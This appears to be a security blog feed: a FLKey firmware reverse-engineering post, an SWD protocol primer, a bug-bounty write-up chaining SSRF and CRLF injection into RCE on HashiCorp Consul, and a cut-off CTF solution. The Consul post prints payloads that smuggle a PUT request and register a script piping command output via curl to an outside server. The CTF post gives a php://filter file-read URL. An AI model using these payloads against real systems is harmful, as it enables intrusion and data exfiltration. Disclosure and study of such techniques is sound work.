KernelPicnic

Reverse engineering a Novation FLKey - Part I

Sat, 25 Mar 2023 00:00:00 +0000

A few months ago I bought a Novation FLKey to use as a MIDI controller for several devices which aren’t connected to a DAW.

Of course, it later turned out that due to a combination of subtle quirks or missing features in other equipment, the planned setup wouldn’t be possible without purchasing yet more equipment, or just using a DAW. However, as I use Ableton, I suddenly found myself needing to use a controller designed for use with a FruityLoops workflow with Ableton instead ¹.

Although Ableton allows custom MIDI mappings, and the controller itself allows pots and pads to be remapped using Novation’s Components software, when looking at the Launchkey and FLKey controllers online I started to wonder about just how different they actually were.

Given that their price was the same, and they were almost visually identical, surely the extent of the FLKey and LaunchKey differences were some silk screens, the colour of the plastic housing, and a slightly different firmware build?

If this was true, perhaps I was just a firmware update away from “out of the box” first class Ableton support?

Naturally, the first point of call was to understand where to get the firmware updates, how firmware updates were installed, and then whether it was possible to just … download and flash the Launchkey firmware onto the FLKey without any additional messing around.

Of course, nothing is ever that simple.

Components and Web MIDI

After reading the documentation, it appeared that both firmware updates and configuration of the FLKey was performed using a Novation web application called “Components”. This web application could be used with several other Novation devices to allow in-browser configuration, management, and update using Web MIDI.

Interestingly, when this application was loaded, even without a controller connected, an API call was made which returned a list of available firmware updates for all supported controllers. This was convenient as the firmware for a given product was just an HTTP GET call away; no authentication or additional ceremony needed.

The question at this point was how these updates were applied to the controller from the browser. Given Web MIDI was used by the rest of the application, and no additional drivers or companion applications were required, it seemed likely that the updates were also performed over MIDI.

However, rather than try and wrangle a minified Javascript application to understand the update process, it seemed more appropriate to instead download a few firmware updates and dig through them to try and determine their format.

After opening a handful of downloaded update files in Binary Ninja, it was quickly apparent that the update appeared to be made up of a series of variable sized chunks, with each chunk beginning with 0xF0, and ending with 0xF7. Some quick Googling indicated that this structure matched what would be expected to be found inside of a file containing MIDI SysEx (System Exclusive) messages.

Given this, it seemed likely that this update could potentially be applied to a connected device using a command-line tool like amidi; rather than using the “Components” application. If this was possible, could the latest Launchkey firmware also be flashed directly over an FLKey?

To find out, the FLKey first needed to be booted into the bootloader.

Bootloader

By holding down the “Octave +” and “Octave -“ buttons on the FLKey when applying power, the FLKey would enter its bootloader.

The FLKey bootloader provided information about the loaded “application” version, as well as a detailing that there was a separate “bootloader” version. As these were listed separately, it seemed likely that bootloader updates were able to be flashed separately to the main application; likely done to allow a firmware update to fail without bricking the device. This was good news, as it meant there was potentially a way to recover the device if “bricked” during attempts to load the Launchkey firmware.

The first point of call was to see whether the Launchkey firmware downloaded from “Components” could be flashed directly onto the FLKey using amidi with no additional effort. In order to confirm this, the following command was run from a Linux machine with the FLKey connected (in bootloader mode).

amidi -d -p hw:2,0,0 -i 50 -s ~/launchkey-mk3-207.syx

…However, the FLKey did not seem to react at all when trying this. The complete lack of reaction from the FLKey hinted that the firmware was either not being sent correctly, or the FLKey was immediately rejecting the update. In order to check whether the issue was related to not sending the update in a way that the FLKey was expecting, a copy of the latest FLKey firmware was attempted to be sent to the connected FLKey using amidi in the same way.

When calling the amidi command using the FLKey firmware update file, the FLKey immediately started to display an animation across the pads - indicating that the update was being transferred to the unit. This confirmed that previously the FLKey was likely rejecting the Launchkey firmware - and quickly, too.

Given how quickly the FLKey rejected the previously attempted Launchkey firmware, it seemed likely that something at the beginning of the firmware update was being used to determine that the Launchkey firmware was not valid for the device.

As a result, it was time to look at the contents of the updates and try and work out how the FLKey was able to reject the “incorrect” update so quickly.

Firmware updates

Before digging into the firmware updates, it seemed appropriate to become more familiar with SysEx. Luckily, there is a significant amount of information available online about MIDI and SysEx; including the original MIDI specification, and detailed implementation specific information from vendors like Fractal Audio.

However, according to the “Standard MIDI Files 1.0” section of “The Complete MIDI 1.0 Detailed Specification (v96.1)” ² there did not appear to be any standard specification for how data is structured inside of SysEx messages. It appeared that the implementation details related to SysEx was entirely up to the vendor to decide. Fun.

As a result, both the firmware running on the FLKey and the firmware updates previously downloaded from “Components” were likely the best source of information about how Novation had designed their firmware update process.

By comparing a set of previously downloaded firmware updates for the FLKey and Launchkey with a hex editor, a set of common patterns emerged relating to both the structure of the updates, as well as the potential purpose of a number of fields within the SysEx messages. These patterns identified that there appeared to be several different message types within an update, differentiated only by their payload and the two bytes proceeding. Given their location, these two proceeding bytes were determined to likely indicate the type of the message which followed (herein referred to as a “command”).

Although the overall size of different message types was variable, the following structure was found to be consistent across all commands within an update.

0xF0           - SysEx Start of Message (SOX)
0x00 0x20 0x29 - Novation Manufacturer ID [0x20 0x29]
0x00 0x71      - Command
[...]          - Payload
0xF7           - SysEx End of Message (EOX)

Only a handful of commands were observed in the analysed firmware updates. These commands were tentatively labelled as follows; based on both their position in the update file, as well as any their contents.

0x00 0x71 - START
0x00 0x7C - METADATA
0x00 0x72 - DATA
0x00 0x73 - END

During the comparison of two versions of Launchkey firmware against the only published FLKey firmware, the structure of the first command in a firmware update (START) was sketched out. Based on the first 2-bytes of this START command matching across multiple versions of firmware for the same device, it was believed that these 2-bytes likely contained manufacturer and model identifiers. For the given device, these values were found to be as a follows.

0x02 0x0F - Launchkey MK3
0x02 0x11 - FLKey

As a full example, the overall structure of a START command (0x00 0x71) from a Novation (0x02) Launchkey (0x0F) update was able to be roughly sketched into the following struct.

Given these identifiers were so close to the start of the update, it seemed possible that the FLKey bootloader was using these fields to determine whether a firmware update was the correct update for the device, and if not, ignore it entirely. In order to confirm whether this was the case, a copy of the original Launchkey firmware was modified with the value of the manufacturer and model fields set to the values taken from an FLKey update (0x02 0x11). This newly patched firmware update was then sent to the FLKey using the same amidi commands used previously.

Almost immediately, the FLKey began to accept this patched Launchkey update; displaying the same pad animation as it did when receiving a valid FLKey update. Unfortunately, as soon as the update had finished sending, the FLKey rebooted and displayed no signs of life. No lights. No display. Nothing. In a word: Fucked.

Luckily, due to good design decisions by Novation, the bootloader had been left untouched by this update process. Only the application image had been replaced. This allowed the FLKey to be once again booted into the bootloader, and the patched franken-firmware replaced with the an original unmodified FLKey update.

After this update had complete, the FLKey rebooted and was operational once again. Phew.

Where to next?

As the easy approach didn’t work, from here there were a few options available:

Attempt to determine the firmware update encoding from the SysEx files.
Look for a non-invasive way of dumping the firmware from the device to reverse.

Rather than try and brute-force the firmware encoding from a sea of possible encoding schemes, popping the case on the FLKey to look for debug ports and test points was determined to be the best way forward. The ideal state would be a way to dump the firmware from the device; allowing a pathway towards understanding how firmware updates were encoded, and why the FLKey bootloader was unable to boot the Launchkey firmware.

Internals

When disassembling the FLKey there were two immediately interesting features which stood out. The first was that the several PCBs inside the FLKey had a labels and silkscreens indicating that the board were originally designed for Launchkey series devices. The second was that the “compute” board had a tag connect footprint for a debug interface (!).

Unfortunately, the FLKey had a 10-pin tag connect footprint, which meant either buying a new tag connect adapter, or not using tag connect.

As the traces between the STM32 and J1 were short, were not connected to any other test points, and used tented vias, it was deemed easier to just order an appropriate tag connect adapter. Although it would have been possible to solder directly to the tag connect pads, or use a fibreglass pencil to remove solder mask from the adjacent vias to solder onto, having a 10-pin tag connector adapter on hand for future seemed like a far better better and less fiddly idea.

While waiting for an appropriate tag connect adapter to arrive, the J1 (“SWD DEBUG”) footprint was pinned out using a multi meter set to continuity mode. Using the pinout in the STM32F401 (LQFP64) data sheet ³, it was possible to determine the pin-out of this debug interface, which was as follows.

Of course, this may have been all for naught if Novation had shipped the FLKey with Read Out Protection (RDP) enabled. This feature, if enabled, would have prevented using a debugger to read out the firmware (level 1), or even prevented attaching a debugger in the first place (level 2) ⁴. However, it’s worth noting that these features are not infallible and can, occasionally, be bypassed with varying levels of effort ^{5, 6}.

As J1 had been pinned-out back to STM32, the behaviour of the STM32 when attempting to connect a debugger could inform what RDP level was in use.

If a debugger could not connect, the STM32 was likely in RDP level 2.
If a debugger connected but flash could not be read, the STM32 would be RDP level 1.
If a debugger connected and flash could be read, the STM32 would be RDP level 0.

Dumping the firmware

After the tag connect cable arrived, it was confirmed that the STM32 was in RDP level 0 - that is to say, there were no restrictions.

As a debugger had been successfully connected to the STM32, the first point of call was to dump the flash. This would both serve as a “rip-cord”, allowing a way to recover the device in the case that future attempts to load the Launchkey firmware killed the boot loader, as well as allowing static analysis of the firmware to reverse engineer the update process.

To perform this firmware dump the OpenOCD flash read_bank commands were used - allowing the entire contents of the STM32 flash to be witten to file on the machine hosting OpenOCD. The result of this process was a nice and shiny 256KiB file containing both the application image and the bootloader for the FLKey.

Next up, analysis!

Finding North

In order to find out how the firmware updates were encoded, and why the FLKey bootloader was refusing to boot the Launchkey update, the newly dumped firmware would need to be analysed. Firstly, however, the address that the firmware was loaded at in memory as well as the start address would need to be identified.

As the FLKey is based on the STM32F401 it seemed likely that firmware was loaded at 0x8000000 (the default). If not, then the configured address could be read out of the BOOT_ADD0 option bytes.

In terms of start address, this was able to be identified using the value of the 4-byte reset vector at the beginning of the dumped firmware. This is easily identifiable due to the well known and well documented structure of the Cortex-M4 vector table ⁷.

Once these values were known, the dumped firmware could be loaded into Binary Ninja, an appropriate CMSIS-SVD⁸ file loaded to assist with identification of peripherals, and auto-analysis kicked off at the correct address.

Poking through the function at reset (0x800792d), the main (0x0800037a) function was able to be located by identifying the bring-up code in reset - responsible for setting up clocks, peripherals, interrupts, floating point extensions, etc - and following the next branch.

Although it would be possible to painstakingly follow every branch and attempt to decipher what was going on, branching out from main in a linear fashion, it was much easier to use the tools at available to speed things up. By attaching a debugger using the same interface used to dump the firmware, it was possible to greatly speed up the process of finding relevant “interesting” sections. Starting with where the patched Launchkey firmware was failing to load.

Patching like it’s 1989

To work out where the FLKey bootloader was failing to load the Launchkey firmware, the patched Launchkey firmware was once again loaded onto the FLKey using amidi. After this had finished loading, and the FLKey had rebooted into a non-working state, gdb was connected to the FLKey’s STM32 using the GDB server exposed by OpenOCD.

After connecting gdb to the FLKey’s STM32 while it was in this “unresponsive” state, the current address of the program counter could be interrogated to understand where in the firmware it was getting stuck - in this case, at 0x8001ecc. Jumping to this address inside of Binary Ninja, it was quickly apparent this was an intentional infinite loop.

At this point, it was unclear whether this was due to some boot process encountering an unrecoverable error due to subtle difference in hardware, or whether this was some sort of intentional “you bought an FLKey, you get an FLKey” scheme. To understand which of these was the case, the code just prior to this infinite loop needed to be analysed.

The overall structure of the function which contained the infinite loop (0x8001eb0) indicated that a function at 0x8004390 was called, and if the result from this function was not zero, then the branch with the infinite loop should be taken. If the result from this function was zero, then the infinite loop would not be hit. Whatever operations 0x8004390 was performing, it responsible for controlling whether this infinite loop would be triggered.

Thankfully, this function was small and relatively self-contained. It did not take long to determine that this function was making two calls to an additional function which not referenced anywhere else in the firmware (0x8004334). If either of these calls returned a non-zero status, then the function which controlled whether the infinite loop would be entered would return 1; triggering the infinite loop.

Analysing the function at 0x8004334, this appeared to be looping over the application image which the bootloader was attempting to load and would return a non-zero status if a passed string appeared anywhere within the image. The strings passed to these two function calls were yekhcnuaL and 3KM. Due to the way the looping was implemented in this “string search” function (0x08004334), the strings would be reversed when looping over the application image.

As a result of these operations, this function was effectively saying “If the strings Launchkey or MK3 appear anywhere in the application image attempting to be booted, then don’t load it. Instead, enter an infinite loop.”

Was this some sort of rights management scheme, or perhaps a feature to protect against damage if the wrong firmware was somehow loaded onto the device? There was only one way to find out: Patch the branch like it’s 1989.

As a debugger was attached to the running device, it was possible install a breakpoint on return from the is_launchkey (0x8001eb0) function, and patch the response to always be be 0; preventing the infinite loop branch from being taken.

After performing this hot-patch and continuing execution, the FLKey started to successfully boot the Launchkey firmware: No magic smoke, no complaints. Neat!

Making it permanent

The next question was how to persist this update. As this was a debugger-applied hot-patch, it was not persistent. To successfully boot the Launchkey firmware, these shenanigans would be required every time the FLKey was powered on – not exactly ideal. However, modification of the application image and the bootloader in flash was not easily achievable directly using the debugger.

As a result, the best pathway forward was to continue reversing the bootloader in order to understand how the firmware updates were encoded. If this scheme could be identified, updates would be able to be decoded, modified, and re-encoded. This would allow these checks to be be patched out and the modified firmware to be flashed onto the FLKey using the native update process. Allowing an FLKey to be permanently turned into a Launchkey without ever opening the case.

…but more on that later.

Thanks

Cheers to @SiouxDenim for once again proofreading this post and correcting my terrible grammar.

–

^{1. At this point I should mention that I absolutely should have seen this coming. However, in my defence: I am a moron.}
^{2. “Complete MIDI 1.0 Detailed Specification (96.1)”.}
^{3. “DS9716 Rev 11” - Page 32 (Figure 12), and page 41 (Table 8).}
^{4. “AN4701 Rev 3” - Page 6.}
^{5. Matthew Alt - “Replicant: A Primer on Fault Injection Attacks”.}
^{6. Fraunhofer AISEC - “Shedding too much Light on a Microcontroller’s Firmware Protection”.}
^{7. ARM DUI 0553B - Page 2-24 (Figure 2-2).}
^{8. Binary Ninja SVD Loader.}

Messing with SWD - Part I

Sat, 29 Dec 2018 00:00:00 +0000

Over the last number of weeks I have been tearing down and performing research into a device powered by an STM32F103x microcontroller. As this particular device had RDP (Read-Out Protection) set to Level 1 it was not possible to dump the firmware from the device. This meant any attempts to inspect the contents of the flash via debugger would generate an immediate HF (Hard Fault).

While searching for workarounds, I came across a paper by Johannes Obermaier and Stefan Tatschner titled “Shedding too much Light on a Microcontroller’s Firmware Protection”. Although the paper covers a number of attacks on the STM32, one piqued my interest. This attack, under “3.3 Debug Interface Exploit” of the paper linked to above, exploits a race condition between the SWD debug interface and the enforcement of the readout protection. This allowed the authors to extract the firmware from a read protected STM32F0 a word at a time.

Now, I’m not able to do this attack, nor the paper, any justice here, so I would recommend reading the full paper. It’s a fantastic read.

From here I was left with a problem: I had no idea about any of the SWD inner workings; all I knew was that it was exposed on the STM32F103x I was targeting, that it was a ‘two wire’ debug interface, and that I could use OpenOCD to interrogate it. This said, the authors of the paper above did release a working exploit, but where’s the fun in running a exploiting something if you don’t understand how it works, eh? :)

As a result of all of this, I have spent many evenings poring over datasheets in order to better understand SWD, and build my own SWD client implementation in Python. The intention being to both better understand the protocol, and also provide an easily extensible set of modules which may be used in further research.

So, with all of this said…

Down the rabbit hole.

This series of posts will detail my encounters with SWD, specifically: how the protocol functions, notable caveats, and how to bend it to your will. As these posts have been compiled by collating notes, there may be errors present. If you see any problems please reach out and I will ensure they are corrected - with credit, of course! :)

Finally, a quick disclaimer as to the content of these posts:

Before acting on any information below, you should ensure that all parameters have been validated against the official documentation before use! Failure to do so could lead to device damage, and will most certainly lead to undefined behaviour.

SWD?

Serial Wire Debug (SWD) is an alternate debugging interface to JTAG. This interface can be used, with an appropriate debugger, to perform a number of useful operations, such as:

Debug microprocessor cores (MCUs) attached to the system.
- This includes display and modification of registers and memory.
Debug components that exist WITHIN a System On Chip (SoC).
- Provides access to debug components with no directly exposed pins.
- This assumes that the component is connected to a debug bus internally.
Access JTAG interfaces of devices attached to the system.
- This requires an appropriate JTAG-AP Access Port (AP).

This post is written regarding SWD as it exists in ADI v5 (ARM Debug Interface), per ARM IHI 0031C.

Lines

Unlike JTAG, SWD only requires two lines for operation: SWDIO and SWDCLK.

SWDIO - I/O
- This is driven by both the host AND the target, depending on dataflow.
- When the host controls the line, bits are banged onto this wire on the falling edge of the clock.
- When the target controls the line, bits are banged onto this wire on the rising edge of the clock.
SWCLK - Clock
- Provides clocking of the debug interface.
- This is driven by the host.

The comments related to the rising or falling edge of the clock may be better explained by the following diagram:

For context, let’s assume that the host has just written a request packet onto SWDIO. Let’s also assume that the above ‘capture’ is taken after this request has already been written, and control of SWDIO has been transferred to the target. Now, don’t worry too much about the terminology yet, I will go into more detail on this later, just be aware that the host has REQUESTed something from the target.

In this case, the host would read a response of 0b0110 from the target.

If the above scenario were reversed, and this capture was of target reading a REQUEST from the host, the value on SWDIO would be read by the target as 0b0100.

Bit Order

An important caveat to note when working with SWD - per section 4.2.4 of ARM IHI 0031C:

All data values in SWD operations are transferred LSB first.

As a result of this, data on the SWDIO line will appear to be backwards if read with a debugger which doesn’t automatically flip the bit order; meaning that the least significant bit (LSB) will be placed on the wire FIRST, instead of last.

In order to better explain, consider the following example:

The last clock cycle is being ignored here (hence the X), as in this context it would be interpreted as a turnround sequence by the host. This will be covered later, but this is why we’re only interpreting THREE bits when there are four in the diagram! :)

In line with the above diagram, and assuming that this was an SWD ACK packet written onto SWDIO by the target, a value of 0b001 would be read by the host. If taken at face value, and as it appeared on the wire, this response would indicate an SWD ACK OK (0b001) was being sent in response to our most recent request. However…

THIS IS NOT THE CASE, THE RESPONSE IS ACTUALLY AN SWD ACK FAULT (0b100).

This is due to all data on the wire being represented in LSB order. In order to flip - so that the most significant bit (MSB) is first - simply reverse the order of the bits:

0b001 becomes 0b100
0b100 becomes 0b001
…et cetera

`DP` vs `AP` vs `DAP`?!

Before we continue, we should clarify a few terms used heavily throughout, namely port types:

Debug Port (DP).
- The interface to which the debugger is physically connected.
- Provides external access to the system.
Access Port (AP).
- Exist within the system and are accessed externally via a Debug Port (DP).
- Though there may be more, there WILL be at least one AP in given system.
- The AP to interact with is specified via the APSEL value in the DP SELECT register.
Debug Access Port (DAP).
- AP and DP.

The placement, and differences between these ports, may be better explained by the following diagram:

In the above diagram, SWD represents the SWD protocol being spoken over a set of two wires.

Packets

Data transfers in SWD are ‘packet’ based, and successful requests will consist of three components:

8-bits - Request Header.
- Sent from the host-to-target
3-bits - An Acknowledgement (ACK).
- Sent from the target to the host.
33-bits - A Payload.
- 32-bits for data, and 1-bit for parity.
- This may be host-to-target in the case of a write.
- This may be target-to-host in the case of a read.

All together a request will be 46 bits long, with one bit per clock cycle.

Those with a keen eye will note that there are only 44-bits accounted for in the list above, rather than 46. This is due to 2-bits being used for the two turnround sequences required to transfer control of the SWDIO line between the host and target.

These turnround sequences would be inserted in slightly different places depending on whether this was a read or write request:

Read
- One ‘turn round’ would be inserted after the request header is written.
- One ‘turn round’ would be inserted after the payload is written.
Write
- One ‘turn round’ would be inserted after the request header is written.
- One ‘turn round’ would be inserted after the ACK is written.

This sequence is needed to transfer control of the SWDIO line between host and target as SWDIO being driven by either host or target. The turnround sequence is used to yield control and avoid both host and target attempting to write to SWDIO simultaneously (which would cause contention).

One caveat to note here is that in the case of a request failure, the payload may be omitted and only the ACK returned.

Request Header

The request header has a very simple and fixed format. It is 8-bits long, and instructs the target whether the request is being made to read or to write to it, whether it is intended for an AP or DP, and the address of the target register.

The format of a request packet header is as follows - per section 4.3 of ARM IHI 0031C:

START
- This should always be high (0b1).
APnDP
- High (0b1) for access to AP access.
- Low (0b0) for DP access.
RnW
- High (0b1) for READ access.
- Low (0b0) for WRITE access.
ADDR[0:1]
- Two bits representing the register to access.
- This address is once again written to SWDIO LSB first!
PARITY
- In the case of a request packet, this field is high (0b1) if the number of high (0b1) bits in the APnDP, RnW, and ADDR fields combined is odd. Low (0b0) if an even.
STOP
- This should always be low (0b0).
PARK
- This should always be high (0b1).

Consider the following examples:

This above would indicate a READ request of the DP IDR register (0b00).

This would indicate a WRITE request to the DP SELECT register (0b10). Once again, the ADDR of the SELECT register is LSB first, so 0b10 becomes 0b01 on the wire.

Acknowledgement (ACK)

The format of an ACK is as follows - per section 4.3 of ARM IHI 0031C:

The mapping of valid responses of an ACK are as follows:

OK (0b001)
- “Everything’s fine.”
- This will appear on the wire LSB first (0b100).
WAIT (0b010)
- “Try again in a bit, I’m busy.”
- This will appear on the wire LSB first (0b010).
FAULT (0b100)
- “Something went wrong.”
- This will appear on the wire LSB first (0b001).

One caveat for the FAULT response is that when a DP has responded with this result, the DP will only then reply to:

READ of the DP IDP register.
- Used to identify the device.
READ of the DP CTRL/STAT register.
- Used to read the status bits which may indicate cause of failure.
WRITE of the DP ABORT register.
- Used to reset status bits, clearing the fault.

Payload

The logical mapping inside of the payload will differ depending on the type of request, however both read and write payloads look the same on the wire from a conceptual standpoint. This format is as follows - per section 4.3 of ARM IHI 0031C:

RDATA and WDATA in this diagram simply refers to DATA in a read or write context - respectively. This is only used here to demonstrate that the payload occupies the same space for both read and write operations.

Finally, the parity calculation used to populate the parity bit is performed in the same way as the request header. If the number of bits in the DATA field that are high (0b1) is odd, this parity bit will be high (0b1). If even, the parity bit will be low (0b0).

FIN.

…Phew! Okay, that’s enough overview for now. Although this post has been very dry, it should make the next much easier. The next post should contain information related to interacting with SWD via an FT2232H via Python, and how to ‘map’ the DAP from SWD.

Hopefully I’ll have some PoC code ready to go, too!

Thanks

Cheers to @SiouxDenim and @AgustinGianni for proofreading this post and correcting my terrible grammar.

Pivoting from blind SSRF to RCE with HashiCorp Consul

Mon, 29 May 2017 08:00:00 +0000

This post details an example of chaining three relatively trivial vulnerabilities to achieve remote code execution on a Bug Bounty target. These vulnerabilities alone would have likely been of low severity, but when used together they were scored and rewarded together as a High Priority (P1) issue.

This vulnerability was originally reported to $provider on the 24th of April, rewarded as a valid finding on the 27th of April, and patched by the 1st of May. Not only was the communication with both the Bugcrowd ASE and $provider fantastic, a patch was rolled out not long after initial triage and the vulnerability confirmed resolved.

It’s worth noting at this stage that the HashiCorp Consul ‘misconfiguration’ which was utilized by $provider seems to be fairly common - given that the ACLs were at their shipped default(s). This use of Consul via SSRF (Server Side Request Forgery) / RFI (Remote File Inclusion) vulnerabilities to escalate privileges or disclose information has been used during other bounty programs with a good amount of success.

Mitigating these attacks can be performed by strictly filtering user-provided URLs, keeping HTTP libraries up-to-date, ensuring that ACLs and authentication is configured in Consul and other tools that may expose similar RESTful interfaces (such as Apache Solr, ElasticSearch, etc), and, if possible, don’t fetch remote resources on the client’s behalf in the first place.

Bring-Your-Own SOAP!

While doing an initial walk through of one of the web applications in-scope of a bounty program run by $provider an interesting feature piqued my interest. This feature allowed a logged in user to provide the URL for an external web service which would be contacted in order to load some data. Looking further, the communication between the web application and the user-provided URL was in a well defined format which utilized SOAP for data exchange. This immediately put this part of the application at top of the ‘things to look into’ list, as accepting user-provided URLs and retrieving data on their behalf is notoriously difficult to implement in a secure manner.

Go Fish?

Given that a complete URL for an external web service was able to be provided, I first attempted to use this feature to fetch and return data from a service that shouldn’t be publicly accessible - being the instance-id ‘endpoint’ in the Amazon EC2 metadata service (http://169.254.169.254/latest/meta-data/instance-id).

Unfortunately, it was quickly found that although the service appeared to successfully query the meta-data service, the code handling the ‘fetch’ was written in such a way that if the remote service returned an HTTP 200, the body of the request would be fed directly into an XML parser. As a result of this design, the web application simply raised a generic error that the remote service had returned invalid XML.

A subsequent fetch for a document that did NOT exist found that on HTTP 4XX errors, the response from the HTTP request would be rendered inside of the error returned to the user. However, while this is neat I couldn’t see any cases where sensitive data may may be returned AND the response code would be returned in the 4XX range. After some additional testing, it was found that even when the remote service responded with valid XML, content was never returned to the user; only a basic ‘success’ message was ever returned.

External Entities?

Given that it didn’t seem possible to return the content of a successfully fetched external resource, the next thought was to attempt to use XXE (XML External Entities) in order to fetch a document from the local machine (using a file:/// URI) and push it to a remote endpoint using a “blind” XXE style attack.

Unfortunately, it seemed that the XML parser had been properly configured to ignore external entities. Boo.

A wild Consul appears!

At this stage, it didn’t seem possible to reflect any data fetched from a remote source. In order to further validate this, I performed a quick check to see whether a number of different URIs were able to be used with the external fetch in place of HTTP. The thought was that an another protocol handler might yield a different result, potentially accidentally leaking data in the error presented to the user. As part of this testing, a number of URIs were attempted, including file:///, tcp://, gopher://, and a few others. Unfortunately all of these URIs appeared to be passed to a Ruby HTTP library that would simply not perform any request that didn’t have an HTTP / HTTPS URL.

As one last ditch effort to return some sort of data, a few localhost URLs were entered to see how the HTTP library would handle non-printable data.

The first attempt was for TCP 22 (https://127.0.0.1:22) which returned a Connection reset by peer error.
- This was a good indication that there was an SSH service listening which didn’t like our request.
The second request was for TCP 5666 (http://127.0.0.1:5666) which yielded a timeout.
- This indicated that there was likely no NRPE (Nagios Remote Plugin Executor) agent on the machine, or at least not accessible from localhost.
The final request was for TCP 8500 (http://127.0.0.1:8500) which returned the same XML parsing error encountered when a valid HTTP 2XX response was encountered.
- This was a good indication that there was likely a Hashicorp Consul agent running on the machine.

So now what?

At this stage the following was known about the target:

External documents were able be fetched from HTTP / HTTPS sources.
Requests sent from the service were SOAP, and were submitted to the user provided URL via HTTP POST.
XML External Entities were disabled on the XML parser.
There was a local Hashicorp Consul agent on the machine (potentially).
Response data was never returned to the user on HTTP 2XX, only on HTTP 4XX.
HTTP 3XX messages were unhandled, and redirections were not followed.
No data was returned on HTTP 2XX responses.
The agent fetching remote URLs was written in Ruby based on the user-agent.

Given that I had previously encountered Hashicorp Consul agents in other bounty programs, I turned to the Consul manual to see whether there were any endpoints that may assist in escalating this vulnerability into something less lame.

Luckily, after a bit of searching I found a reference in the Consul documentation which made mention of an endpoint at /v1/agent/check/register; allowing for registration of a ‘check command’ (arbitrary shell command) via an HTTP PUT request. Although the Consul agent does allow for ACLs to be applied to these endpoints to limit use, this is not enabled by default so I thought it was worth a try.

In order to test this I fired up a local VM and installed the Consul agent in order to construct a valid payload and test on a default installation. After a short while, I had the following payload constructed which would execute a shell command and pipe the output to a remote server using an HTTP POST every 60 seconds:

{
    "id": "DarkarniumTest",
    "name": "DarkarniumTest",
    "script": "/bin/uname -a | /usr/bin/curl -k -XPOST -d @- https://some-server",
    "interval": "60s",
    "timeout": "5s"
}

Ignoring the fact that I was unable to specify a payload in the target web application, I also found that the Consul check registration endpoint endpoint would NOT respond to an HTTP POST, only an HTTP PUT.

So, PUT from a POST?

The final piece of the puzzle to solve was how to construct an HTTP PUT with a specific JSON body (the check payload above) from a script which was hardcoded to perform HTTP POST with a non user controllable payload. Thinking back to potential caveats with URL parsing, I remembered encountering issues in the past with Ruby and Python HTTP libraries not properly handling \r\n (Carriage-Return, Line-Feed) characters in URLs and HTTP headers. The result of this was usually that a user could inject arbitrary HTTP headers or payloads into predefined HTTP requests by tampering with the URL in the right way.

To test whether this was able to be used in this case, I constructed an URL which, if handled incorrectly by the library, should add a Connection: Keep-Alive HTTP header to the request and tack on a subsequent HTTP PUT operation after the ‘hardcoded’ HTTP POST. This initial test URL looked something like the following:

https://mockbin.org/bin/UUID?Test1 HTTP/1.1\r\nConnection: keep-alive\r\nHost: example.org\r\nContent-Length: 1\r\n\r\n1\r\nPUT /bin/UUID?Test2 HTTP/1.0\r\n\r\n\r\n

In order to test this, I performed a regular request in the web application using a browser and then replayed the request using OWASP ZAP in order to allow for tampering with the payload after the fact.

Success! The HTTP library appeared to be incorrectly processing the \r\n characters in the URL HTTP GET parameters, and injecting additional HTTP requests! As a result, it was confirmed possible to construct arbitrary HTTP requests after the initial hard-coded HTTP POST using only the URL.

PUTting it all together.

Now that I had a method to perform arbitrary HTTP requests against a given server I could finally confirm whether the TCP 8500 listener was indeed an Hashicorp Consul agent, and whether it had been ACL’d appropriately.

In order to test this, I constructed a URL which used \r\n characters to terminate the original HTTP POST with a Content-Length of 1 (with a payload of 1) and then perform a ‘follow-on’ request containing an HTTP PUT request to create an ‘HTTP check’ inside of the Consul agent. The constructed URL looked something like the following:

http://127.0.0.1:8500/? HTTP/1.1\r\nConnection: keep-alive\r\nHost: example.org\r\nContent-Length: 1\r\n\r\n1\r\nPUT /v1/agent/check/register HTTP/1.1\r\nHost: example.org\r\nContent-Length: 121\r\n\r\n{"id": "BugcrowdDarkarnium","name": "BugcrowdDarkarnium","http": "http://some-server/","interval": "60s","timeout": "5s"}

After submission of this payload in the URL field I had to wait for up to a minute to see whether the ‘check’ would fire, as the interval was configured to 60 seconds to prevent loading up the server with unnecessary HTTP requests.

A few anxious moments later, I saw a successful HTTP PUT against my testing server with a User-Agent of Consul Health Check, confirming that this was both a Consul agent and that ACLs weren’t applied to the check endpoint!

In order to confirm whether I could use this to pop a shell on the remote system (without actually popping a shell, given that this was a bounty program not a red team exercise), I modified the request slightly; replacing the http check with a script check configured it to pipe the result of uname -a into an HTTP POST request using CURL. The final payload looked something like the following:

http://127.0.0.1:8500/? HTTP/1.1\r\nConnection: keep-alive\r\nHost: example.org\r\nContent-Length: 1\r\n\r\n1\r\nPUT /v1/agent/check/register HTTP/1.1\r\nHost: example.org\r\nContent-Length: 195\r\n\r\n\u007B\u0022id\u0022: \u0022BugCrowdDarkarnium\u0022,\u0022name\u0022: \u0022BugCrowdDarkarnium\u0022,\u0022script\u0022: \u0022/bin/uname -a | /usr/bin/curl -k -XPOST -d @- https://some-server/writer/writer.php?f=uname\u0022,\u0022interval\u0022: \u002260s\u0022,\u0022timeout\u0022: \u00225s\u0022\u007D

Once again, I dropped this new payload into the “URL” field and submitted the payload, waiting anxiouslyt to see whether it’d execute the command and send the output back over HTTPS…

A few moments later, I heard a ping from my Nginx logs which confirmed that I had an RCE!

With that, I constructed a few more requests to remove these injected check commands from Consul, grabbed a beer, finished writing-up the report and submitted the bug over to the kind folks at $provider.

Thanks

A big thanks to the Bugcrowd ASE that helped triage this bug, and got the $provider folks looped in quickly. I’d also like to thank $provider for the great communication, quick fix and the bounty; keep it up! :)

Finally, cheers to @yrp604 for proofreading this write-up and correcting my terrible grammar. Edit: Cheers to @bradleyfalzon for some additional spelling fixes ;)

BKP CTF - Wackusensor Write-Up

Sun, 26 Feb 2017 08:00:00 +0000

Given the quality of the last Boston Key Party (BKP) CTF it wasn’t unexpected that there would be some great challenges again this year. Wackusensor certainly fell into that category, providing an interesting target while not being as quite as difficult to solve as some of the other cloud challenges.

This was a great Saturday afternoon challenge, yielding 100 points for our team (Haxation Without ROPresentation) after a bit of documentation review and successful exploitation of some fairly common vulnerabilities encountered when using certain PHP functions incorrectly.

Wackusensor

When first opened in a browser, the Wackusensor challenge landing page mentioned that although ‘Acunetix Acusensor’ had been deployed to the server it wasn’t working as expected.

The first link in the challenge text links to the Acunetix Acusensor website, and the second to a .txt copy of the installed acu_phpaspect.php instrumentation script.

TL;DR: The Solution

curl -D - "http://54.200.58.235/index.php?super_secret_parameter_hahaha=php://filter/read=convert.base64-encode/resource=/var/www/html/super_secret_file_containing_the_flag_you_should_read_it.php" \
-H "Acunetix-Aspect: enabled" \
